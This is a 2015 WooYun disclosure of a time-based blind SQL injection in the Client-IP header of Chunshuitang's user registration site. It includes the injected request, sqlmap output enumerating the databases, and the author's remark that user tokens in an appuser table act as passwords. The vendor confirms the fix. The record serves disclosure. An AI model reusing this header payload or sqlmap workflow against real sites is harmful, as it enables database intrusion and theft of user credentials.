当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123281

漏洞标题:春水堂某处SQL注入(2库 )

相关厂商:春水堂

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-06-28 16:01

修复时间:2015-08-14 17:16

公开时间:2015-08-14 17:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-28: 细节已通知厂商并且等待厂商处理中
2015-06-30: 厂商已经确认,细节仅向厂商公开
2015-07-10: 细节向核心白帽子及相关领域专家公开
2015-07-20: 细节向普通白帽子公开
2015-07-30: 细节向实习白帽子公开
2015-08-14: 细节向公众公开

简要描述:

天地本不仁 万物为刍狗
【HD】 以团队之名 以个人之荣耀 共建网络安全

详细说明:

POST数据包:

GET /register HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Client-IP: if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
X-Requested-With: XMLHttpRequest
Referer: http://user.chunshuitang.com/
Cookie: CPSSID=hk2tviec4h7cvnklt4ahs3e9o7
Host: user.chunshuitang.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


0.png


(custom) HEADER parameter 'Client-IP #1*' is vulnerable. Do you want to keep tes
ting the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 1400 HTTP(s) re
quests:
---
Parameter: Client-IP #1* ((custom) HEADER)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: if(now()=sysdate(),sleep(0),0)/' AND (SELECT * FROM (SELECT(SLEEP(2
0)))qMAz)#'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0
),0))OR"/
---
[13:47:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[13:47:05] [INFO] fetching database names
[13:47:05] [INFO] fetching number of databases
[13:47:05] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[13:47:05] [INFO] retrieved:
[13:47:05] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
2
[13:47:47] [INFO] retrieved: information_schema
[14:11:51] [INFO] retrieved: c
available databases [2]:
[*] c
[*] information_schema
[14:12:53] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\user.chunshuitang.com'
[*] shutting down at 14:12:53


其中 C 数据库中 有70个表

2.png


看见了个 appuser 的表 顺便就跑了下

3.png


没下载过 app 不知道你们的链接规则 但是 token 应该等同于 密码了 吧 因为跑起来太慢 所以另一个数据库就没跑了

漏洞证明:

修复方案:

有礼物不?

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-06-30 17:14

厂商回复:

感谢洞主的反馈,问题已经得到修复,未对春水堂用户的信息安全造成影响,感谢一直以来对春水堂的关注。

最新状态:

暂无